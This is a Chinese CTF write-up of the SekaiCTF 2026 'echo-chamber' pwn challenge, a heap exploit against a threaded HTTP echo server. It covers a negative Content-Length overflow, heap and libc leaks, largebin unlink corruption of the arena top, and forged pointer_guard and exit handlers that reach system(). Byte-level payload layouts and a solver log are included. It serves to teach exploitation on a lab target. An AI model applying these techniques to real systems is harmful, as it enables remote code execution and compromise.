Akurisu's Blog
← 所有文章

学习SekaiCTF 2026 echo-chamber

许久没有写博客了,被ai冲击得目眩神迷啊()。近期学习了一道困难的pwn。

原题链接:

https://github.com/project-sekai-ctf/sekaictf-2026/tree/main/pwn/echo-chamber

题目给四个文件:chal.c、chal、libc.so.6、ld-linux-x86-64.so.2(run.sh 用后文给出的 GLIBC_TUNABLES 循环重启 ./chal,监听 9999)。服务器对每个 POST 的处理固定为:逐行读请求头 → strtoll 解析 Content-Length → malloc(body_len+1) 分配缓冲区 → readn 收 body → 原样回显。

  if (strcmp(method, "POST") == 0) {
      if (!content_length)
        goto malformed;

      char *end = NULL;
      size_t body_len = strtoll(content_length->val, &end, 10);
      if (end && *end != 0)
        goto malformed;

      body = malloc(body_len + 1);
      size_t nbytes = readn(self->fd, body, body_len);
      if (nbytes != body_len)
        goto malformed;
      body[nbytes] = 0;
      handle_post(self->fd, path, headers, body, body_len);
    } else {
      handle_get(self->fd, path, headers);
    }
    goto done;

如果发送Content-Length: -1:

环节对 −1 的处理结果
strtoll有符号 64 位0xFFFFFFFFFFFFFFFF
malloc(body_len+1)加一后无符号回绕malloc(0),只分 0x20 的 chunk,可用 8 字节
readn 的 len 形参形参类型是 unsigned int(32 位)传参时截断为 0xFFFFFFFF

于是我现在有了一条连接(后文称 neg):它的 body 缓冲区只有 8 字节,但 readn 愿意收约 4GB。

它的限制同样重要。起点之前的地方永远无法写入。这决定了后面所有绕路。

服务以 GLIBC_TUNABLES="glibc.malloc.tcache_count=0:glibc.malloc.tcache_max=0:glibc.malloc.arena_max=8" 启动

所以这里说明:

  1. 禁用tcache。tcache 是每个线程自己的空闲内存块缓存,线程先尝试从自己的 tcache 快速取块;没有合适的缓存块时,再走 arena 的分配路径
  2. arena最多8个。arena 是堆内存的分配管理单元

审计题目所给libc文件,可知这道题魔改过,没有fastbin参与。所以所有free的chunk都会走入unsorted中。

开 40 条 keep-alive 连接(每条发一个 GET 预热)测映射。节奏不可省:起步 0.5s、每条连接间隔 0.02s、每条预热完成后再等 0.05s——无节奏时各工作线程首次 malloc 先后乱序,arena 绑定跟着乱(对照实测:泄漏直接不发生)。gdb 断在请求头解析的 malloc 处,按线程打印每次分配的地址(地址 & ~0x3FFFFFF = 该线程堆的 64MB 对齐基址)。结果:

连接号0123456789…1415…
堆nm1nm2nm3nm4nm5nm6nm7mainnm7nm6…nm1main…

规律:首轮(连接 0–6)升序 nm1→nm7;连接 7 是 main;之后每轮降序(8→nm7 … 14→nm1),每轮末位(15,23,31,39)是 main。即 main 组={7,15,23,31,39},nm1 组={0,14,22,30,38},nm7 组={6,8,16,24,32}。至此,我们已经探明线程与堆的对应关系。

两个复现要点:① 正式跑全链要 96 条连接(12 轮×8 类)——一个 arena 全链消耗 10 条(泄漏 4 + pivot 6),40 条的池每组只有 5 条不够用;② 官方解按 (i+1) mod 8 给槽位打标签(隐含”第二轮也升序”),与本机实测的降序循环不符——按实测映射改标签后才能端到端跑通。

为了进行堆的任意写入获得flag,首先需要获得堆基址和libc基址。接下来我们来获得这两个东西。

现在在 nm1 组的四条连接(0、14、22、30)上布局。

先把四条连接的请求按 neg → P → R → rescue 的顺序依次发完,再进行下一步动作;

每条连接只发一次请求(每行以 \r\n 结尾):

① 连接 0(称为neg):

POST /pr-neg HTTP/1.1
Content-Length: -1
(空行)

发送之后,写入起点是 heap+0x8B0(实测:gdb 断在 body 分配处打印指针;算术:CL 头块 [0x870,0x8A0) 之后紧跟 0x20 chunk [0x8A0,0x8C0),user 起点 = 0x8B0)。

② 连接 14(称为P):

POST /pr-p HTTP/1.1
Content-Length: 1287
Connection: keep-alive
(空行)
CODEX_PR_P_UNSORTEDPPPPPPPPPPPPPP…P

最后一行是 body 的前 1286 字节(“CODEX_PR_P_UNSORTED” + ‘P’ 补齐)。故意差 1 字节不发,此时body 块已分配,readn 差 1 字节阻塞,再补一字节才会回显并且使这个块free。带 keep-alive 是因为第 3 步还要在这条连接上发第二个请求(GET)。

③ 连接 22(称为R):

POST /pr-r HTTP/1.1
Content-Length: 1287
(空行)
CODEX_PR_R_UNSORTEDRRRRRRRRRRRRRR…R

同样差 1 字节。泄漏就在它的回显里。不带 Connection 行:回显完连接即关,一次性。

④ 连接 30(称为rescue):

POST /pr-rescue HTTP/1.1
Content-Length: 1287

这种请求会在头行到达时分配一个 CL 头块,但 body 的 malloc 要等空行——补一个 \r\n 才放行 malloc。

攻击阶段(具体有六步,在四个连接之后开始)

#动作(谁、发什么)堆上发生什么
1neg 第 1 次写:0x80 字节(内容见下面的明细表)P 的 body 尺寸字段被伪造成 0xA50——一个横跨 [0x920,0x1770) 的”空闲块”(0x920+0xA50=0x1770)
2P 补最后 1 字节 Z,把 P 的回显收完再继续(明细见下)回显后 free(P body):按伪造的 0xA50 回收,整个区间进 unsorted(free 是按 size 字段回收的,不看真实边界)。随后服务器沿头链 free:链头是 Connection(头插法,后解析的在前),它被释放并向前并入假块(合并后 [0x8F0,0x1770));取其 next = 0(第 1 步已断链)——链走完,CL 块从未被释放。连接因 keep-alive 继续可用
3在 P 的连接上再发两行:GET /pr-carver HTTP/1.1 和 CARVEXXXXXXXX…X: V(字段名恰好 1365 个字符 = CARVE + ‘X’ 补齐——解析这一行使服务器 malloc 的 Header 块恰为 0x570,因为块大小 = align16(0x1A+字段名长+值长))。发完就停,空行永远不发(明细见下)malloc(0x570) 从 [0x8F0,0x1770) 头上切走 [0x8F0,0xE60),剩下余块 [0xE60,0x1770) 进 unsorted,glibc 在余块开头写入 fd、bk 两个指针,位置 0xE70/0xE78——正好是 R 的缓冲区开头 16 字节
4rescue 补空行(一个 \r\n,明细见下)malloc(0x510) 把余块切走 [0xE60,0x1370)——R 的 body 头所在位置变成已分配,为第 6 步 R 的回收铺路
5neg 第 2 次写:0x520 字节(内容见下面的明细表)修复被写入路线顺序覆盖的 R 的 CL 头块(0xE30 处恢复 0x35、next=0)
6R 补最后 1 字节 Z,收它的回显(明细见下)R 的 readn 完成,服务器把整个缓冲区回显回来——开头 16 字节就是 fd、bk

第一步:neg第 1 次写入了0x80 字节:

写入偏移堆地址内容含义
——neg 自己的 0x20 chunk [0x8B0,0x8C0)——
0x00–0x100x8B0–0x8C0CODEX_PR_NEG_UNSORT + ‘A’ 补齐neg 自己 chunk 的尾部,内容随意(识别标记)
——P 的 CL 块 [0x8C0,0x8F0),一个完整的 0x30 chunk——
0x10–0x180x8C000×8本块 prev_size = 0
0x18–0x200x8C835 00 …本块 size = 0x35(0x30|标志)
0x20–0x280x8D000×8本块 next = 0(CL 先解析、当时链空,天然为 0;此格此后无人读)
0x28–0x300x8D800×8本块 val = 0
0x30–0x400x8E0–0x8F0‘A’×0x10本块 key 字符串区(原存 Content-Length\01287\0——解析已完成,此后无人读,‘A’ 覆盖即可)
——P 的 Connection 块 [0x8F0,0x920),紧贴上一块、无缝——
0x40–0x600x8F0–0x910与 CL 块的前四格完全相同(prev_size=0、size=0x35、next=0、val=0)本块的 chunk 头与 next/val 格——这里的 next=0 是断链的关键一笔:它原本指向 CL,清零后 P 完成时服务器 free 完本块(链头)链即走完,CL 从未被 free
0x60–0x700x910–0x920‘A’×0x10本块 key 字符串区(原存 Connection\0keep-alive\0)
——P 的 body chunk [0x920,0xE30) 的头部——
0x70–0x780x92000×8body 的 prev_size = 0
0x78–0x800x92855 0A 00 …body 的 size = 0xA55(伪造的 0xA50)

第二步:P 补一个字节 Z,内存中发生如下事实:

写入者地址(heap+)内容含义
readn0xE365Abody 第 1287 字节落进缓冲区末尾(缓冲区 0x930 起,前 1286 字节布置时已写入),readn 返回、请求完成
回显—(网络)1287 字节无堆写入
free(P body)0x930 / 0x938fd=bk=heap+0x38假块(free 读 0x928 的 0xA50 判定)作为 unsorted 唯一结点挂入,两个指针指向表头
free(P body)0x48 / 0x50heap+0x920unsorted 表头(malloc_state 内 bins[0])的 fd/bk 指回假块
free(P body)0x17700xA50给假块的”下一块”写 prev_size(收尾动作)
free(Connection 块)0x8F80xE81Connection 块并入假块:合并块 [0x8F0,0x1770)(尺寸 0xE80)的 size 写在这
(无)0x8C0 起保持 0x35CL 块从未被 free:chal.c 解析头行用的是头插法。第 1 次写入把 Connection 的 next 清零断链,服务器 free 完链头 Connection 后CL 块不进入 free 流程,保持已分配形状留在原地。

第三步:P 连接上发两行(这是同一个 GET 请求的前两行;最后的空行不发):

  • 第 1 行:GET /pr-carver HTTP/1.1 + \r\n
  • 第 2 行(1370 字节):CARVE + X×1360 + : V + \r\n —— 字段名 1365 个字符(CARVE 5 + X 1360),后缀 : V\r\n 5 字节
写入者地址(heap+)内容含义
malloc(0x570)0x8F80x575从合并块头部切出分配块 [0x8F0,0xE60) 的 size(0x570|PREV_INUSE|NON_MAIN)
strcpy0x910 起CARVEX…\0V\0新块里存字段名与值(占 [0x910,0xE68);末 8 字节借用下一块 prev_size 槽——glibc 惯例,合法)
malloc(0x570)0xE60 / 0xE68prev_size / 0x911余块 [0xE60,0x1770) 的头:size=0x910|PREV_INUSE(空闲块不带 NON_MAIN 位)
malloc(0x570)0xE70 / 0xE78fd=bk=heap+0x38余块挂入 unsorted——这两个指针就是泄漏目标,恰好落在 R 的缓冲区开头 16 字节
malloc(0x570)0x48 / 0x50heap+0xE60表头 fd/bk 改指新余块

第四步:rescue 补空行( \r\n):

写入者地址(heap+)内容含义
strtoll—(无堆写入)—读 rescue 自己 CL 块(0x1370)的 val 串得 1287
malloc(0x510)0xE680x515余块再被切:分配块 [0xE60,0x1370) 的 size(rescue 的 body)
malloc(0x510)0x1370 / 0x1378prev_size / 0x401新余块 [0x1370,0x1770) 的头
malloc(0x510)0x1380 / 0x1388fd=bk=heap+0x38新余块挂 unsorted
readn—(一个字节也不发)—这块内存从布置起就是 R 的 body(R 的指针 0xE70 一直有效),第 4 步的 malloc 把同一区域再次分配给 rescue——两个请求共享同一块内存(堆别名/overlap)。rescue 一个 body 字节也不发(发了会从 0xE70 起顺序覆盖 fd/bk),0xE70 处第 3 步写下的 fd/bk 原样保留,且这块永不释放

第五步:neg第 2 次写了0x520 字节(落点 [heap+0x930, heap+0xE50),接在第一次的末尾继续):

写入偏移堆地址内容含义
0x00–0x5000x930–0xE30‘B’×0x500填料(P 的旧 body 区,此时已无有效数据)
——R 的 CL 块 [0xE30,0xE60),一个完整的 0x30 chunk——
0x500–0x5080xE3000×8本块 prev_size = 0
0x508–0x5100xE3835 00 …本块 size = 0x35
0x510–0x5180xE4000×8本块 next = 0
0x518–0x5200xE4800×8本块 val = 0

第 3 步 carve 的 strcpy 把 1365 字符的字段名铺满 [0x910,0xE68),碾坏了 R 的 CL 头块的 size/next/val;本步把 0xE30 起四格修复回合法形状,第 6 步 R 完成后的回收才不会崩。neg 累计写了 0x80+0x520 = 0x5A0 字节,停在 heap+0xE50(后面如果使用neg就从这里继续)。

第六步:R 补 1 个字节 Z:

写入者地址(heap+)内容含义
readn0x13765AR 缓冲区(0xE70 起)的第 1287 字节,readn 返回
回显—(网络)1287 字节服务器把整个缓冲区发回:开头 16 字节 = 0xE70/0xE78 处的 fd、bk,泄漏到手
free(R body)0xE60 起—读 0xE68 的 0x510 回收 [0xE60,0x1370)——正是第 4 步造出的已分配边界,安全
free(R 的 CL 块)0xE30 起—读第 5 步修好的 0x35 回收 [0xE30,0xE60),回收链走通、不崩

实测输出(一次真实运行):

R 回显前 16 字节: 38 00 00 bc 24 7d 00 00 | 38 00 00 bc 24 7d 00 00
fd = bk = 0x7d24bc000038

线程堆的 unsorted 链表头位于本堆的 malloc_state(堆上 heap+0x30 起)内 +0x8 处,链里只有余块一个结点时 fd=bk=表头。换算:arena = fd − 0x8,堆基址 = arena − 0x30 = fd − 0x38 = 0x7d24bc000000(64MB 对齐,自检通过)。

此时拥有:neg (累计写了 0x5A0 字节,停在 0xE50)、堆基址。

以上的指针指向本堆的 malloc_state,是因为线程堆的 unsorted 表头住在自己堆里。main arena 的 malloc_state 是 libc 数据段里的全局变量——同一套流程在 main 组的连接上再做一遍,余块的 fd 就直接是 libc 地址(注意 main 堆上偏移不同:它没有 heap_info/malloc_state 的 0x870 头部,neg 的写入起点是 0x2B0,P/R 的落位整体前移;流程与时序完全相同)。

类似的,可以得到:

libc 基址 = fd − 0x1e3c88        (本题 libc 的 main_arena 偏移 0x1e3c80 + 表头 0x8)

实测一次:libc=0x775933a6a000,main_arena = libc+0x1e3c80 = 0x775933c4dc80。

既然已经得到了堆基址和libc基址,那么现在的问题是:neg 的起点在 0x8B0,而分配器的核心结构 malloc_state 在 [0x30,0x870)。我们仍然无法修改。

先按顺序发送五条请求:

① large:

POST /pr-large HTTP/1.1
Content-Length: 1799
(空行)
LLLLLLLLLL…L

body 前 1798 字节全 ‘L’,差 1 字节。1799=0x710−9,所以body 是 0x710 的块。

② guard:与 large 同构,路径 /pr-guard、body 全 ‘G’——一块 0x710 的占位,让 large 释放时不与后方合并。

③ trigger:

POST /pr-trigger HTTP/1.1
Content-Length: 1799

(无空行。将来补空行时 strtoll 会读它的 CL 值 1799 → 触发malloc 0x710)

④ smash:与trigger同构,路径 /pr-smash、Content-Length: 2295(2295=0x900−9)。

⑤ remainder:与trigger同构,路径 /pr-remainder、Content-Length: 1(真实 CL 在 pivot 攻击第 3 步被 neg 换掉)。

五条发完后落位(泄漏结束时:R 完成后 [0xE30,0x1370) 已整体回收进 bins;rescue 连接仍挂着,但它只握一个悬空指针 0xE70、永不写入,不占用内存;top 在 0x13A0):

顺序连接堆上结果此刻服务器侧状态
①largeCL 头块 [0xE30,0xE60)(回收区)+ body [0x13A0,0x1AB0)readn 差 1 字节阻塞
②guardCL 头块 [0xE60,0xE90) + body [0x1AB0,0x21C0)readn 差 1 字节阻塞
③triggerHeader 块 [0xE90,0xEC0)(key 存 “Content-Length\0” + 值 “1799”)等空行
④smashHeader 块 [0xEC0,0xEF0)(值 “2295”)等空行
⑤remainderHeader 块 [0xEF0,0xF20)(值 “1”)等空行

malloc 每次先从 bins 找现成空闲块,放不下才从 top 切。泄漏结束时 R 的旧 body 一带 [0xE30,0x1370) 已随 R 的请求结束被回收(低地址空闲区),top 在 0x13A0。五条请求的 CL 头块(各 0x30)按发送顺序从回收区头部依次切:large [0xE30,0xE60)、guard [0xE60,0xE90)、trigger [0xE90,0xEC0)、smash [0xEC0,0xEF0)、remainder [0xEF0,0xF20);随后 large/guard 的 0x710 body 在剩余回收区(约 0x450)放不下,从 top 切。

smash 和 remainder 在本阶段不动作:它们的 CL 头块此刻只起占位作用,放行分别在后文的 smash(body 覆盖 malloc_state)与 remainder 写入。

攻击阶段

#动作(谁、发什么)堆上发生什么
1large 补 1 字节 Z,收完回显free(large):[0x13A0,0x1AB0) 进 unsorted;guard 在后方活着,不合并
2发 sort 的 blocked 请求(这是第六条独立连接)(原文:POST /pr-sort HTTP/1.1 / Content-Length: 2055 /(空行)/ body 前 2054 字节全 ‘S’,2055=0x810−9)malloc(0x810) 扫 unsorted:large 的 0x710 不够用 → 顺手把它归入 bin 76(大块链表,表头 heap+0x4E8——large 的 fd/bk 被写成表头);sort 自己从 top 切 [0x21C0,0x29D0),真 top 退到 0x29D0
3neg 第 3 次写:0xE50→0x30F0 共 0x22A0 字节(逐段明细见下)bin76 的链上挂出一个假块;三块 Header 恢复;0xF40 埋入 remainder 写入要用的十进制串;remainder 的 val 被改指 0xF40
4trigger 补空行(一个 \r\n)strtoll 读 trigger 块的 “1799” → malloc(0x710) → bin76 → unlink 维护:自检 + 执行两条固定写 *(fd_nextsize+0x28)=bk_nextsize、*(bk_nextsize+0x20)=fd_nextsize → top 字段 = heap+0x10

neg 第 3 次写的明细:

large 和 guard 各自也有一块 0x30 的 CL 头块,落在回收区 [0xE30,0xE90)、trigger 那三块前面,但不用恢复:large 的在 pivot 攻击第 1 步已随请求结束被 free;guard 的永无人读(请求永不完成)。

堆地址写入含义
[0xE50,0xE90)‘A’×0x40填料
——trigger 的 Header 块 [0xE90,0xEC0)——
0xE90 / 0xE98 / 0xEA0 / 0xEA80 / 0x35 / 0 / 0xEBFprev_size / size / next=0 / val→本块 key 之后的值串
0xEB0 / 0xEBFContent-Length\0 / 1799\0key 与值;值的尾 4 字节(‘7’,‘9’,‘9’,0)越过块尾 0xEC0,落进下一块 prev_size
——smash 的 Header 块 [0xEC0,0xEF0)——
0xEC0799\0+补零本块 prev_size(上一块值的溢出字节)
0xEC8 / 0xED0 / 0xED80x35 / 0 / 0xEEFsize / next=0 / val→块内值串
0xEE0 / 0xEEFContent-Length\0 / 2295\0key 与值(尾 4 字节 295\0 溢进 0xEF0)
——remainder 的 Header 块 [0xEF0,0xF20)——
0xEF0295\0+补零prev_size(溢出字节)
0xEF8 / 0xF00 / 0xF080x35 / 0 / heap+0xF40size / next=0 / val 改指远处(不再指向块内)
0xF10 / 0xF1FContent-Length\0 / X\0key;值只放占位符 X(保持块为 0x30)
[0xF20,0xF40)‘A’×0x20填料
0xF40十进制串 str(nb−9)\0remainder 写入的真实 CL——放行 remainder 连接时 strtoll 经 val 读到的是它
[0xF4x,0x13A0)‘A’填料(R 旧 body 尾部与回收区)
——large 块的元数据 [0x13A0,0x13D0)——
0x13A0 / 0x13A80 / 0x715prev_size / size(0x710|标志)
0x13B0 / 0x13B8heap+0x4E8 ×2fd=bk=bin76 表头(恢复链指针)
0x13C0 / 0x13C8heap+0x13A0 / heap+0x29D0fd_nextsize=自身 / bk_nextsize 挂出 0x29D0
[0x13D0,0x29D0)‘A’填料(穿过 large/guard/sort 的 body——guard/sort 的 readn 永远差 1 字节不完成,内容无人读,可覆盖)
——伪装的 largebin 块 [0x29D0,0x2A00)——
0x29D0 / 0x29D80 / 0x715prev_size / size(与 large 同尺寸)
0x29E0 / 0x29E8heap+0x29D0 ×2fd=bk=自身(过双向链自检)
0x29F0 / 0x29F8heap+0x10 / heap+0x18两个毒指针——指向 top 字段的减法位置
[0x2A00,0x30E0)‘A’填料
0x30E010 07 00 …(0x710)伪块的尾界 prev_size(0x29D0+0x710=0x30E0)
[0x30E8,0x30F0)‘A’收尾,笔停在 0x30F0

(0x29D0+0x710=0x30E0 ✓;写入总量 0x30F0−0xE50=0x22A0 ✓。)

实测:expected non-main arena->top: 0x7758ec000010——top 字段 = heap+0x10 ✓。此刻 glibc 认为 top 从堆底开始,而 top 需要的 size 字段就读 heap+0x18——那是 heap_info 里现成的映射大小 ≈0x21000,与 system_mem 相等,尺寸检查白捡通过。

攻击阶段第 4 步详解:trigger 这次 malloc 的完整过程

先回答”伪装块怎么进 bin76 的”——它没有被”放进去”,因为 bin 不是名册,只是一串指针格子:“在 bin 里”的唯一含义就是被链上的指针指到。glibc 不记录任何块的产生历史。入链的全部动作是第 3 步的两笔写:①写 0x13C8 让 large 的 bk_nextsize 指向 0x29D0;②在 0x29D0 写一整套块结构。第 4 步 trigger 的 malloc 顺链走到 0x29D0,读它的字段——size 匹配、指针自洽——便认定它是 bin 成员。unlink 的自检查的是自洽(fd->bk 是否指回自己)。

步骤发生什么
0trigger 补空行 → 头解析结束 → strtoll 经 val(0xEBF)读到 “1799” → malloc(1799+1) = malloc(1800)
1尺寸换算:nb = align16(1800+8) = 0x710;先扫 unsorted——无可直接用的
20x710 ≥ 0x400 属于大块范围 → 定位 bin 76(表头 heap+0x4E8)
3bin 76 链上有两块同尺寸 0x710:真 large(0x13A0)和伪装块(0x29D0);malloc 选定要取出的块 victim = 0x29D0
4取块必经 unlink(0x29D0)。第一道自检(双向链):查互相指认——读 fd->bk 与 bk->fd,必须都等于 victim(防经典”伪造 fd/bk 任意写”)。布置成 fd=bk=自身:读 *(victim+0x18)、 *(victim+0x10) 读回的都是自身。
5**第二道自检:**与第一道同构,查的是另一对指针。largebin 结点除 fd/bk 外还有 fd_nextsize/bk_nextsize(尺寸环:按尺寸排序、每尺寸一个代表块的双向链),规矩同样是互相指认:读 *(fd_nextsize+0x28) 与 *(bk_nextsize+0x20),必须都等于 victim。本题利用的正是这条链——毒指针 heap+0x10(+0x28)与 heap+0x18(+0x20)都落在 heap+0x38(top 字段),而 top 字段此刻存的就是 0x29D0(它就是当前 top)→ 两处读到的都等于 victim
6固定写①:victim->fd_nextsize->bk_nextsize = victim->bk_nextsize → *(heap+0x10+0x28) ← heap+0x18 → top 字段暂时 = heap+0x18
7固定写②:victim->bk_nextsize->fd_nextsize = victim->fd_nextsize → *(heap+0x18+0x20) ← heap+0x10 → top 字段最终 = heap+0x10
8malloc 把 0x29D0 当作分配结果返回给 trigger 的 body;readn(1799) 永远收不满——这次调用的全部产出就是第 6、7 步那两笔写

top 指向堆底后,下一次大 malloc 的 body 缓冲区就从 heap+0x20 开始。

放行 smash(补空行):strtoll 读到 2295 → malloc(2296) 从 heap+0x10 切出 0x900,readn 把我发的 0x850 字节抄进 [0x20,0x870)——整份 malloc_state 被替换成准备的内容。故意少发 0xA7 字节(2295−0x850):请求不完成、连接阻塞、这块永远不被 free。

替换进去的关键字段:

heap+字段填值作用
0x38topheap+0x3200下次 malloc 从这切
0x860/0x868system_mem/maxnb+0x1000与伪造 top 的尺寸相等(过”top 尺寸>账面”检查)
0x48–0x838bins全部空链表自指查找直接落到 top
0x848/0x850/0x858next/next_free/attached自指/0/1把这个已被改坏的 arena 从公共调度里隔离,别的线程不再进来

之后 glibc 会去读 *(heap+0x3208) 当 top 的尺寸——那里是从没写过的空地。neg 第 4 次写(0x30F0→0x3210,中间 0x110 字节 ‘C’ 纯填料):0x3200←0(prev_size)、0x3208←(nb+0x1000)|1(size)。伪造 top 的实际地址是 0x3200+((目标−8)&0xF)——对齐微调量取 0~15 任一值使 nb 为 16 的倍数(实测六写中第 5 笔微调 +0、第 6 笔 +9)。

至此 glibc 对一个 top 的全部三项信任(指针、尺寸、账面 system_mem)都由我们供值。

malloc 从 top 切块后有个收尾动作:给余块(新 top)写 8 字节尺寸字段,位置 = 伪造top + nb。伪造 top 的位置我定、nb 是请求大小我定——所以”malloc 把 8 字节写到哪”变成一道减法:

放行 remainder 连接。它的 CL 值不是发请求时写死的——pivot 攻击第 3 步(neg 第 3 次写)已把它的 Header 块的 val 指针改指 0xF40(真数字串在那)。strtoll 读到 nb−9,malloc(nb−9+1) 对齐后恰为 nb:

nb = write_addr − 8 − (heap+0x3200+微调)
余块头 = 伪造top + nb = write_addr − 8
余块的尺寸字段(余块头+8)= (nb+0x1000−nb)|1 = 0x1001  ← 落在 write_addr 上

expected remainder write: *0x775933c552a8 = 0x1001(那次是写 libc+0x1EB2A8)。一个 arena 走完全流程(从泄漏到 remainder 写入)= 换一次任意地址 8 字节写入,值固定是 0x1001 这种”合法尺寸”形状,地址任意。代价是这个 arena 已彻底与真实堆脱节,用完即废。所以要写六次,就得六个 arena 各走一遍全流程。

进程退出时,glibc 的 exit() 会照着内存里的一张退出函数表逐项调用函数指针,取消/展开机制也会从内存里读函数指针来调——这些表和指针全在可写的 libc 数据段/TLS 里。只要把”退出时会被读的那几格”换成我的内容,“进程退出”这件事就变成”替我执行 system(我的命令)”。

先解决一个约束:glibc 把这类函数指针加密存储——stored = ROL64(目标 ^ guard, 17),guard 是主线程 TLS 里的密钥(pointer_guard)。这个加密即:与 guard 异或再左移 17 位,溢出位循环至数的末尾。而写入值还必须满足”尺寸形状”(低 4 位 0001、≥0x20),三个加密值靠一个小方程组全部天生合法:

  1. 任取 exit_stored = 0x1 | (n<<17),其中 n = (exit地址&0xF) ^ 1;
  2. 反解 guard = exit地址 ^ ROR64(exit_stored,17)——展开后 guard 的低 4 位 = exit低4 ^ n = 1,guard 自动是尺寸形状(n 就是为此选的);
  3. system_stored = ROL64(system ^ guard, 17)——libc 地址 bit47=0、guard 的 bit47=1,异或再左移后低 4 位恰为 0001,也是尺寸形状。

时序上先换钥匙再锁门:写 1 先换 guard,写 2/4 的密文都用新 guard 加密;解密发生在写入之后的退出流程里,用的正是新密钥,必然解出 system 和 exit。

#write_addr原值新值将来被谁读、当什么用
1libc−0x2890(pointer_guard,TLS)真密钥guard(自造)展开机制和 exit 每次解密函数指针时的异或密钥
1 附带某堆 heap+0x2001(空地)命令字符串 "cat /tmp/ec/flag.txt > /tmp/ec/out.txt\0"system 的参数
2libc+0x1E5178(exit 初始函数表 fns[0].fn)某 libc 内部善后函数(加密形态)system_storedexit() 遍历表调 fns[0] 时解密 → system
3libc+0x1E5180(fns[0].arg)原函数的参数命令串地址调 fns[0] 时传的参数
4libc+0x1EB2C8(展开机制的强制展开函数指针)原指针(加密形态,且指向未加载的 libgcc 流程)exit_stored主线程强制展开走到头时解密调用 → exit
5libc+0x1EB2A8(libgcc 句柄)NULL0x1001展开机制先查此句柄,非空即跳过 dlopen(“libgcc_s.so.1”)
6libc−0x25B8−7(cancelhandling−7,TLS)00x0800000000000001小端展开后第 8 字节 0x08 落在 cancelhandling 最低字节 = 主线程 TCB 的”未决取消”位

退出表项的逐格布局与”改哪些、不改哪些”(表项基址 = libc+0x1E5170,每项 0x20:flavor/fn/arg/dso_handle 四格):

+0x00 flavor      libc+0x1E5170  原值 ef_cxa       —— 不动:调用形式恰好就是 fn(arg, status),
                                                      正是想要的形状,白捡的正确类型
+0x08 fn          libc+0x1E5178  ← 写 2:system_stored
+0x10 arg         libc+0x1E5180  ← 写 3:命令串地址
+0x18 dso_handle  libc+0x1E5188  原值              —— 不动:唯一用途是 dlclose 反注册时被扫,
                                                      整条链上没有 dlclose、exit 遍历也不读它

六写全部落完后的内存:

TLS(fs=libc−0x28C0 一带,RW)
  fs+0x30   pointer_guard = guard(我的钥匙)
  fs+0x308  cancelhandling 低字节 = 0x08(未决取消)
libc 数据段(RW)
  +0x1E5160  exit 初始函数表 fns[0]: flavor=ef_cxa(原有)
             +0x1E5178 fn  = system_stored(解密→system)
             +0x1E5180 arg = 命令串地址
  +0x1EB2C8  强制展开指针 = exit_stored(解密→exit)
  +0x1EB2A8  libgcc 句柄  = 0x1001(非空)
某线程堆
  heap+0x2001 = "cat /tmp/ec/flag.txt > /tmp/ec/out.txt\0"
主线程:阻塞在 accept(),TCB 里揣着未决取消位

现在,主线程的 while(true) 循环阻塞在 accept() 上等新连接。accept 是取消点:glibc 把这类可能长时间阻塞的系统调用包了一层”可取消包装”——进入系统调用前后会检查本线程 TCB 的 cancelhandling,若”未决取消”已置位,就不再继续等,转而对本线程发起强制展开(把栈一层层退干净、执行各层清理,最后终止线程的流程)。平时没人对主线程调过 pthread_cancel,这个位永远是 0——第 6 写把它置成了 1,但阻塞中的系统调用不会自己醒,需要一个新连接来唤醒 accept,这是接下来的过程:

步骤事件用到哪格
1客户端连出第一条新连接—
2内核唤醒阻塞中的 accept,返回这个连接的 fd—
3主循环处理:分配 Worker、起工作线程(新连接由别的线程接管,与本链无关),回到循环头,准备进入下一轮 accept—
4进入 accept 的可取消包装,入口检查本线程 TCB:未决取消 = 1(第 6 写置的位)→ 不进系统调用,直接发起主线程强制展开写 6
5展开机制准备走 libgcc 的展开器,先查 global_libgcc_handle:非空(0x1001)→ 跳过 dlopen(“libgcc_s.so.1”)——容器里没有这个库,不跳过链条当场断掉写 5
6展开走到尽头,取强制展开函数指针(libc+0x1EB2C8),按 ROR64(stored,17) ^ guard 解密——用的是写 1 换过的钥匙 → 解出 exit → 调用 exit()写 4 + 写 1
7exit() 从初始函数表(libc+0x1E5160)开始遍历退出函数表;第一项 fns[0] 的 flavor 是 ef_cxa,调用形式 fn(arg, status)—
8取 fns[0].fn(libc+0x1E5178)解密 → system;取 fns[0].arg(libc+0x1E5180)= 命令串地址写 2 + 写 1 + 写 3
9调用 system(命令串)——多传的”退出码”参数被调用约定忽略写 1 附带(命令串本体)
10system:fork + execve /bin/sh -c "cat /tmp/ec/flag.txt > /tmp/ec/out.txt"——flag 此刻被读出写进文件;sh 退出、system 返回—
11exit 继续走完收尾,进程终止(退出码 176)——命令早已执行完—
12客户端连出第二条连接——连不上恰是”进程正在退出”的证据(一条理论就够,第二条做保险)—

最后可以得到:

$ python3 solve_local.py NOSSL CMD="cat /tmp/ec/flag.txt > /tmp/ec/out.txt 2>&1"
... 六个 arena 依次: leak → pivot → smash → 假top → remainder 写入 全部成功   ← 六写完成
[*] triggering main-thread cancellation through accept
[+] Opening connection to 127.0.0.1:9999: Done      ← 步骤 1-3:第一条连接唤醒 accept
[ERROR] Could not connect to 127.0.0.1:9999          ← 步骤 12:第二条连不上=进程已在退出(步骤 4-11 正在走)
[+] local challenge exited after RCE trigger: 176    ← 步骤 11:命令已执行完,进程终止
[*] rce proof point: libc=0x73add817b000 ... command_addr=0x73adc0002001

$ cat /tmp/ec/out.txt
flag{local_rce_verified_20261019}                     ← 步骤 10 的产物
← 返回文章列表